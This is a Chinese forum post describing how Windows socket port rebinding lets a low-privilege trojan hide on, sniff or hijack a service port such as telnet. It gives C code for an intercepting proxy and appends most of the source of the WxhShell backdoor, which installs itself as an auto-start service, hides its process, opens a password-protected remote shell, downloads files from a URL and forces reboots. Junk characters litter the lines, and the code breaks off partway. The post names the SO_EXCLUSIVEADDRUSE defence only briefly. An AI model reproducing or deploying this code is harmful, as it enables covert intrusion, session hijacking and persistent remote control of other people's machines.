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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sB6dp D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { 5-zyE  
1ef'7a7e8  
  saddr.sin_family = AF_INET; bDWeU}  
f05=Mc&)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x'qWM/  
-`Q}tg>cT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AK*N  
HIGNRm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m?;$;x~Dj  
%2D17*eK  
  这意味着什么?意味着可以进行如下的攻击: Mlj#b8  
?/'}JS(Sm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <0 uOq  
g~ !$i`_b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vCb]%sd-U  
q}wj}t#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c 0-w6  
A,BEKjR~J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -72j:nk  
Yj|]Uff8O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x2k*| =$  
BS7J#8cu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <uD qYT$6  
bxwkTKr'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  s4$X  
/.$L"u  
  #include (ua q<Cvg  
  #include rl?7W];  
  #include s<&[\U  
  #include    TsHF tj9S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kXwi{P3D$  
  int main() %LQ/q 3?_  
  { q8sb n  
  WORD wVersionRequested; /\J|Uj  
  DWORD ret; I60DUuF  
  WSADATA wsaData; Z^# ]#f  
  BOOL val; ^VI,C|  
  SOCKADDR_IN saddr; XlkGjjW#/J  
  SOCKADDR_IN scaddr; bRPO:lAy  
  int err; 9&K/GaG  
  SOCKET s; .N"~zOV<#  
  SOCKET sc; I4D<WoU;dJ  
  int caddsize; [se^.[0,  
  HANDLE mt; p<5!0 2yQ\  
  DWORD tid;   } 0M{A+  
  wVersionRequested = MAKEWORD( 2, 2 ); 8Kk\*8 <  
  err = WSAStartup( wVersionRequested, &wsaData ); OCnFEX"  
  if ( err != 0 ) { 0E6lmz`O  
  printf("error!WSAStartup failed!\n"); kH?#B%N5  
  return -1; 9?EVQ  
  } 7>n"}8i  
  saddr.sin_family = AF_INET; J :S'uxM  
   u 9]1X1wV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  &?+WXL>  
T2weAk#J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D.*>;5:0'  
  saddr.sin_port = htons(23); J`oTes,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }U[-44r:  
  { 9y^/GwUQ  
  printf("error!socket failed!\n"); 6E|S  
  return -1; *)>do L  
  } o| D^`Z  
  val = TRUE; <I2z&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <>=mCZ2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]V<-J   
  { =;{^" #r\  
  printf("error!setsockopt failed!\n"); r{[OJc!  
  return -1; n &}s-`D  
  } s[AA7>]3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1R*=.i%W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6D/'`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hk;-5A|9  
zn)yFnB!TH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `;F2n2@  
  { Fr5 Xp  
  ret=GetLastError(); 3z[ $4L'.  
  printf("error!bind failed!\n"); @`|)Ia<  
  return -1; Q2s&L]L=  
  } c tI{^f:  
  listen(s,2); uZ(? >  
  while(1) 9y~"|t  
  { w%xCTeK[  
  caddsize = sizeof(scaddr); s-?fUqA  
  //接受连接请求 m 22wF>9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AyVrk 8G  
  if(sc!=INVALID_SOCKET) !wh&>3~  
  { 'fY9a(Xt.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1 Z[f {T)  
  if(mt==NULL) lTz6"/  
  { vV^dm)?  
  printf("Thread Creat Failed!\n"); Dp!zk}f|  
  break; {gU&%j  
  } ;dQAV\  
  } #H5=a6E+q  
  CloseHandle(mt); -]XP2}#d  
  } r:9gf?(&  
  closesocket(s); *H2]H @QHN  
  WSACleanup(); '*!L!VJ  
  return 0; IOEM[zhb$  
  }   ;/sHWI f+Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) Cs1>bpY*R6  
  { =+oZtP-+o  
  SOCKET ss = (SOCKET)lpParam; ai^|N.!  
  SOCKET sc; S>f&6ZDNY(  
  unsigned char buf[4096]; W`L!N&fB  
  SOCKADDR_IN saddr; l\Xd.H" j,  
  long num; ycX{NDGs  
  DWORD val; ngyY  
  DWORD ret; %l$W*.j|;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 91d }, Mq:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6 bO;&  
  saddr.sin_family = AF_INET; !'W-6f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jv&+<j`r  
  saddr.sin_port = htons(23); ~&g a1r2v?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) urZ8j?}c  
  { )2.)3w1_4  
  printf("error!socket failed!\n"); '^}+Fv<O  
  return -1; yV]xRaRr2  
  } R$6qoqv{yG  
  val = 100; =r6qX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s<7XxQ  
  { Yx%bn?%;&  
  ret = GetLastError(); {#hVD4$b  
  return -1; E%3TP_B3  
  } 7z'h a?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ade }g'  
  { 5w<A;f  
  ret = GetLastError(); Yc#IFmC}  
  return -1; UI?=]"  
  } J@#?@0]F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c`kQvXx  
  { 2`Gv5}LfyR  
  printf("error!socket connect failed!\n"); REA;x-u*  
  closesocket(sc); 4v.d-^  
  closesocket(ss); 3 ^}A %-bS  
  return -1; fx?$9(r,  
  } (bm;*2  
  while(1) )[&zCq Dc  
  { RKuqx:U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {o|k.zy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >.DC!QV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |wp ,f%WK  
  num = recv(ss,buf,4096,0); e!X(yJI[O6  
  if(num>0) g9>~HF$U  
  send(sc,buf,num,0); x';u CKWV  
  else if(num==0) CL9yEy"V  
  break; r"]'`qP,  
  num = recv(sc,buf,4096,0); 0k[2jh  
  if(num>0) @d&H]5  
  send(ss,buf,num,0); r9@AT(  
  else if(num==0) E*CcV;  
  break; # c Fr   
  } TFH&(_b  
  closesocket(ss); 4gZ &^y'  
  closesocket(sc); OW5t[~y]  
  return 0 ; id,NONb\  
  } Ge \["`;i  
6 /Y1 wu  
p>kq+mP2bc  
========================================================== FFcB54ALTf  
hIU(P Dl4  
下边附上一个代码,,WXhSHELL R7_VXvm>z  
D>#l-{d  
========================================================== S# we3  
aC^$*qN-)  
#include "stdafx.h" ~5OL6Bi-q  
ai-n z-;  
#include <stdio.h> |jG~,{  
#include <string.h> 1oY^]OD]W  
#include <windows.h> PCE4W^ns  
#include <winsock2.h> OAe#Wf!c  
#include <winsvc.h> LU2waq}VA  
#include <urlmon.h> p3]Q^KFS  
l-O$m  
#pragma comment (lib, "Ws2_32.lib") l]!B#{  
#pragma comment (lib, "urlmon.lib") pv# 2]v  
0A[esWmP  
#define MAX_USER   100 // 最大客户端连接数 #kcSQ'  
#define BUF_SOCK   200 // sock buffer >k(MUmhX  
#define KEY_BUFF   255 // 输入 buffer H^AE|U*-G  
S4A q'  
#define REBOOT     0   // 重启 Qc"'8kt  
#define SHUTDOWN   1   // 关机 D"l+iVbBP  
8q^o.+9  
#define DEF_PORT   5000 // 监听端口 g>j| ]6  
SF<Vds}A2  
#define REG_LEN     16   // 注册表键长度 f =s&n}  
#define SVC_LEN     80   // NT服务名长度 Mr3-q  
MC!ZX)mF  
// 从dll定义API UY>v"M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @,OT/egF4:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $g\&5sstE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]z ==   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1wn&js C  
WeJ@x L  
// wxhshell配置信息 -Zc![cAlO  
struct WSCFG { Q!'qC*Gyfn  
  int ws_port;         // 监听端口 rT6?!$"%.  
  char ws_passstr[REG_LEN]; // 口令 d8x%SQ!V  
  int ws_autoins;       // 安装标记, 1=yes 0=no `8g7q 5  
  char ws_regname[REG_LEN]; // 注册表键名 -_0?_Cb  
  char ws_svcname[REG_LEN]; // 服务名 a. %LHb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fi%r<]@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p{tK_ZBy]c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %s=Dj2+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #I0pYA2m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jAhP> t:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B6M+mx"G  
SoQR#(73HK  
}; o(G"k  
vmZ"o9-{#X  
// default Wxhshell configuration l54 m22pfv  
struct WSCFG wscfg={DEF_PORT, &t}?2>:  
    "xuhuanlingzhe", W`)<vGn=Y  
    1, t~p y=\  
    "Wxhshell", 6 "gj!/e  
    "Wxhshell", Akk 3 Qx  
            "WxhShell Service", :0~QRc-u  
    "Wrsky Windows CmdShell Service", \;9W.d1iU  
    "Please Input Your Password: ", u=NG6 G  
  1, -,# +`>w  
  "http://www.wrsky.com/wxhshell.exe", !{UTD+|=N  
  "Wxhshell.exe" *b|NjwmB  
    }; Te-Amu  
uofr8oL~  
// 消息定义模块 0!GAk   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jfhk@27T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v/QUjXBr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *I*i>==Z  
char *msg_ws_ext="\n\rExit."; LJTo\^*  
char *msg_ws_end="\n\rQuit."; 2YBIWR8z  
char *msg_ws_boot="\n\rReboot..."; '\7G@g?UZ  
char *msg_ws_poff="\n\rShutdown..."; tY/vL^mi  
char *msg_ws_down="\n\rSave to "; +pmu2}E.3  
Oe!6){OG)  
char *msg_ws_err="\n\rErr!"; zr_yO`{  
char *msg_ws_ok="\n\rOK!"; W6/ @W  
.zj0Jy8N  
char ExeFile[MAX_PATH]; E4%j.  
int nUser = 0; X(AN)&L[  
HANDLE handles[MAX_USER]; 4[2_,9}  
int OsIsNt; /DFV$+9  
}VCI=?-  
SERVICE_STATUS       serviceStatus; ?UZ?NY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6[ga$nF?  
2W<n5o   
// 函数声明 <z)m%*lvU  
int Install(void); g.DLfwI|  
int Uninstall(void); vfc[p ^  
int DownloadFile(char *sURL, SOCKET wsh); @w9{5D4  
int Boot(int flag); )P Jw+5  
void HideProc(void); |\9TvN^$`  
int GetOsVer(void); onei4c>@  
int Wxhshell(SOCKET wsl); -*ELLY[  
void TalkWithClient(void *cs); 4B[D/kIg  
int CmdShell(SOCKET sock); E1V^}dn  
int StartFromService(void); 7}o/:  
int StartWxhshell(LPSTR lpCmdLine); HIc a nk  
OM83S|1s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _ -..~K.|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9";sMB}W*  
=?Fkn4t  
// 数据结构和表定义 nHOr AD|&  
SERVICE_TABLE_ENTRY DispatchTable[] = IQ!Fv/I<  
{ :7.Me ;RA  
{wscfg.ws_svcname, NTServiceMain}, a:rX9-**  
{NULL, NULL} %5'6Tj  
}; ^krk&rW3  
Djt%r<  
// 自我安装 3{7T4p.G  
int Install(void) TpfZ>d2  
{ Ty4S~ClO#'  
  char svExeFile[MAX_PATH]; 5]Da{Wmgs  
  HKEY key; .IrNa>J~  
  strcpy(svExeFile,ExeFile); 4vZ4/#(x  
N3A<:%s  
// 如果是win9x系统,修改注册表设为自启动 L EWhb!U  
if(!OsIsNt) { `#s#it'y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~W#sTrK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p.JXS n  
  RegCloseKey(key); Z=z%$l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J >0b1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9q[;u[A8^  
  RegCloseKey(key); W[''Cc.  
  return 0; !7p}C-RZp  
    } 2b@tj 5  
  } z}4L=KR\v  
} wTq{sW&  
else { m\u26`M  
Xz{~3ih  
// 如果是NT以上系统,安装为系统服务 7:=k`yS,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R[[ ,q:4  
if (schSCManager!=0) m]Y;c_DO:  
{ M!m?#xz'c  
  SC_HANDLE schService = CreateService t;qP']2  
  ( U]6&b  
  schSCManager, &m^@9E)S/  
  wscfg.ws_svcname, KM,|} .@:  
  wscfg.ws_svcdisp, A$/\1282  
  SERVICE_ALL_ACCESS, :%r S =f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rfcN/:k  
  SERVICE_AUTO_START, S7iDTG_@t  
  SERVICE_ERROR_NORMAL, </zXA$m  
  svExeFile, Y g|lq9gD  
  NULL, -#:zsu  
  NULL, vRQOs0F;  
  NULL, K|S:{9Q  
  NULL, i?@M  
  NULL s<QkDERMX  
  ); F3U`ueP  
  if (schService!=0) a|j%n  
  { 0S/' 94%w  
  CloseServiceHandle(schService); fRZ KEIyk  
  CloseServiceHandle(schSCManager); ^-)txC5{T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GRqT-/n"  
  strcat(svExeFile,wscfg.ws_svcname); 77 r(*.O|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vG.9 H_&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N#xG3zZl|N  
  RegCloseKey(key); ^_+XDO  
  return 0; B}?IEpYp  
    } NaUr!s  
  } <X7\z  
  CloseServiceHandle(schSCManager); PgM(l3x  
} 1eS_ nLFw~  
} n]Li->1  
_Q(g(p&  
return 1; G%l u28}D  
} .3qu9eP   
.Nm su+s  
// 自我卸载 T? ,P*l  
int Uninstall(void) "UVFU-Z  
{ s0u{d qP  
  HKEY key; ~g;   
{MdLX.ycc)  
if(!OsIsNt) { k0z&v <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !BIOY!M  
  RegDeleteValue(key,wscfg.ws_regname); "B7`'jz  
  RegCloseKey(key); -Sv"gLB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o :q1beU  
  RegDeleteValue(key,wscfg.ws_regname); t ~7V { xk  
  RegCloseKey(key); z;\dL  
  return 0; ?`_jFj+<\S  
  } yCz|{=7"j  
} d4?d4;{  
} RI n9(r  
else { FqFapRX66Z  
K*-@Q0"KM{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $4SzUZ0  
if (schSCManager!=0) "Dcs])7Q  
{ e$)300 o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6X2PYJJZ  
  if (schService!=0) 2.e vx  
  { Y5q3T`x E  
  if(DeleteService(schService)!=0) { SGc8^%-`  
  CloseServiceHandle(schService); o|pT;1a"  
  CloseServiceHandle(schSCManager); >JwLk[=j  
  return 0; ;lX(}2tXW  
  } a,t``'c;  
  CloseServiceHandle(schService); bvBHYf:^  
  } wN-i?Ek0;  
  CloseServiceHandle(schSCManager); 1j-te-}"c  
} `lDut1J5n  
} P(k(m< 0  
VZn=rw  
return 1; 7%?jL9Vw  
} _,74)l1  
">81J5qgd  
// 从指定url下载文件 az;Q"V'6  
int DownloadFile(char *sURL, SOCKET wsh) oEz%={f  
{ /t<@"BoV  
  HRESULT hr; `/&SxQB<  
char seps[]= "/"; Z;Rp+ X  
char *token; G2{O9  
char *file; SzD KByi  
char myURL[MAX_PATH]; s) O[t  
char myFILE[MAX_PATH]; #EGA#SKoq  
,B}I?vN.  
strcpy(myURL,sURL); t>)45<PEw  
  token=strtok(myURL,seps); 7}O.wUKw%  
  while(token!=NULL) D#A~Nbc  
  { }ArpPU :]  
    file=token; {Rq1HH  
  token=strtok(NULL,seps); ~I}9;XT  
  } ?|{XZQ~  
qo6y %[  
GetCurrentDirectory(MAX_PATH,myFILE); zQ6p+R7D  
strcat(myFILE, "\\"); 0H_!Kg  
strcat(myFILE, file); H5cV5E0  
  send(wsh,myFILE,strlen(myFILE),0); wd@aw/  
send(wsh,"...",3,0); ^rl"rEA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s MN*RKer  
  if(hr==S_OK) A=zPL q{Sb  
return 0; )}%O>%  
else wXjFLg!g?  
return 1; /.Nov  
,tH5e&=U01  
} 6(|d|Si *c  
RPnRVJ&"Z  
// 系统电源模块 Mp$@`8X`  
int Boot(int flag) `p kMN  
{ _M[,! {C  
  HANDLE hToken; {%v-(  
  TOKEN_PRIVILEGES tkp; q@5K6yE  
?Ucu#UO  
  if(OsIsNt) { HBE.F&C88  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AGP("U'u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e(F42;$$  
    tkp.PrivilegeCount = 1; 4F3x@H'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'uDjFQX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J~B 7PW  
if(flag==REBOOT) { RE$`YCs5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) . v@>JZC  
  return 0; >evS} O6  
} l%R50aL  
else { x_!0.SU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Il@Y|hK  
  return 0; z\ss4  
} q}BzyC=:n  
  } gnp~OVDqfL  
  else { ^[-el=oKn0  
if(flag==REBOOT) { ;8S/6FI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V(MFna)  
  return 0; jeyLL<  
} Do%-B1{ri  
else { \o-&f:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pCpb;<JG  
  return 0; 4F>Urh+  
} t&Os;x?To?  
} /y7M lU9  
9mc!bj^811  
return 1; R2L;bGI*J  
} 8mLP5s!7  
L\{IljA  
// win9x进程隐藏模块 Lj\/Ji_  
void HideProc(void) gG%V 9eOQ  
{ -7uwOr  
[OTJVpC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b*fgv9Kh'  
  if ( hKernel != NULL ) [+ *$\  
  { /WV7gO&L1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >R{qESmP=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H`8``#-|@S  
    FreeLibrary(hKernel); qa(>wR"mT  
  } ,6 !rR,0  
plu$h-$d  
return; p47S^gW  
} &bz:K8c  
1pv}]&X  
// 获取操作系统版本 o~FRF0f*VP  
int GetOsVer(void) 49Df?sx  
{ MaBYk?TR~  
  OSVERSIONINFO winfo; vkS)E0s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `I$<S(h 7  
  GetVersionEx(&winfo); qQi.?<d2"s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) thO ~=RB  
  return 1; Ko&hj XHx  
  else !}\4u tHY  
  return 0; /<CSVJ_r  
} ?T_3n:  
E+"dqSI/v  
// 客户端句柄模块 ._wkj  
int Wxhshell(SOCKET wsl) ]Fvm 7V  
{ H_!4>G@  
  SOCKET wsh; <D&)OxEn\  
  struct sockaddr_in client; =z?%;4'|  
  DWORD myID; &bqT /H18  
}7G8|54t  
  while(nUser<MAX_USER) >3:?)  
{ kpbm4t  
  int nSize=sizeof(client); fl Jp4-nx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YJs|c\eq?  
  if(wsh==INVALID_SOCKET) return 1; IC{eE  
y~ G.V,0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zn,>]X  
if(handles[nUser]==0) < XTU8G  
  closesocket(wsh); %;D+k  
else bsxTqJ  
  nUser++; 4ww]9J  
  } vhvdKD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vQF vtwd  
B .TB\j  
  return 0; /!}'t  
} >U1R.B7f  
H* ,,^  
// 关闭 socket Hv]7e|  
void CloseIt(SOCKET wsh) E@a3~a  
{ _8}QlT  
closesocket(wsh); zJ+8FWy:S  
nUser--; ,U )"WLmY  
ExitThread(0); Kx"<J@  
} )CI1;  
~9F,%  
// 客户端请求句柄 4E8JT#&  
void TalkWithClient(void *cs) Xd:7"/:r  
{ VN4yn| f/  
!@u>A_  
  SOCKET wsh=(SOCKET)cs; 30PZ{c&Rll  
  char pwd[SVC_LEN]; 1tCQpf  
  char cmd[KEY_BUFF]; H7+X&#s%  
char chr[1]; E^_w I>  
int i,j; h0?2j)X_  
jNwjK0?  
  while (nUser < MAX_USER) { /$n ~lf  
c[}(O H  
if(wscfg.ws_passstr) { C ]Si|D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6m.k;'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P+MA*:  
  //ZeroMemory(pwd,KEY_BUFF); A392=:N+Q  
      i=0; nI*/Mhx  
  while(i<SVC_LEN) { FZd.L6q  
Sj'ht=  
  // 设置超时 O_$dI*RK  
  fd_set FdRead; L_Q#(in  
  struct timeval TimeOut; d;Hn#2C  
  FD_ZERO(&FdRead); syx\gz  
  FD_SET(wsh,&FdRead); G.+l7bnZM  
  TimeOut.tv_sec=8; B) $c|dUV  
  TimeOut.tv_usec=0; WWwUwUi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a/~aFmu6b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rzrl>9 h  
E'1+Yq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7;.xc{  
  pwd=chr[0]; -Z4{;I[Q@  
  if(chr[0]==0xd || chr[0]==0xa) { +u@aJ_^  
  pwd=0; X.ONa_  
  break; 2c<&eX8"  
  } $=sXAK9   
  i++; IUGz =%[  
    } A>VI{  
?6Cz[5\  
  // 如果是非法用户,关闭 socket rdJm{<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gw+9x<e  
} e73^#O&Xt  
d{et8N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ogM%N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e]ig!G]  
GZ!| }$ 8  
while(1) { Dz!fpE'L  
|VOg\[f  
  ZeroMemory(cmd,KEY_BUFF); JXiZB 8}  
{P8[X@Lu  
      // 自动支持客户端 telnet标准   !.7udYmB  
  j=0; D0Z\Vvy  
  while(j<KEY_BUFF) { He0=-AR8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ufa41$B'yG  
  cmd[j]=chr[0]; ]"AyAkT(  
  if(chr[0]==0xa || chr[0]==0xd) { QVZD/shq  
  cmd[j]=0; d "BW/%m|g  
  break; @Un/c:n  
  } r#WT`pav  
  j++; QH4wUU3X  
    } a\kb^D=T  
HQ!Xj .y  
  // 下载文件 puSLqouTM  
  if(strstr(cmd,"http://")) { fQWIw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); < (RC|?  
  if(DownloadFile(cmd,wsh)) x+? 9C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1rw0sAuGy  
  else W]<$0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K.tlo^#^B[  
  } "Z,q?Fc  
  else { )/4(e?%=  
| sqZ$Mu  
    switch(cmd[0]) { R~L0{` 0  
  tc_f;S`k  
  // 帮助 wYeB)1.  
  case '?': { h*0S$p<[1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MgnM,95  
    break; KHKS$D  
  } q^8EOAvnZ  
  // 安装 k1z$e*u&r  
  case 'i': { $ E1Tb{'  
    if(Install()) )j6eE+gF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^}%c U0  
    else ?<X(]I.j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0m[dP  
    break; \a "Ct'  
    } u]C`6)>  
  // 卸载 O(2cWQ  
  case 'r': { BOlAm*tFt  
    if(Uninstall()) i< (s}wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U IJx*  
    else x9>\(-uU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '6Qy/R  
    break; qg z*'_S  
    } NCeaL-y7  
  // 显示 wxhshell 所在路径 {!ZyCi19  
  case 'p': { ^jdL@#k00  
    char svExeFile[MAX_PATH]; |wxGpBau  
    strcpy(svExeFile,"\n\r"); ~KjJ\b)R  
      strcat(svExeFile,ExeFile); ;:&?=d  
        send(wsh,svExeFile,strlen(svExeFile),0); V BoMT:#  
    break; WiNT;v[  
    } PL0`d`TI  
  // 重启 ~%w~-O2  
  case 'b': { TmRx KrRs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fT:}Lj\L1  
    if(Boot(REBOOT)) P sjbR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]*"s\ix  
    else { XY7Qa!>7j  
    closesocket(wsh); Ar9nBJ`  
    ExitThread(0); /k\01hc`  
    } *xRc * :0  
    break; T*2C_oW  
    } R5Yl1   
  // 关机 /z."l!u6  
  case 'd': { t *6loS0+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "vF MSY  
    if(Boot(SHUTDOWN)) 3EFD%9n  
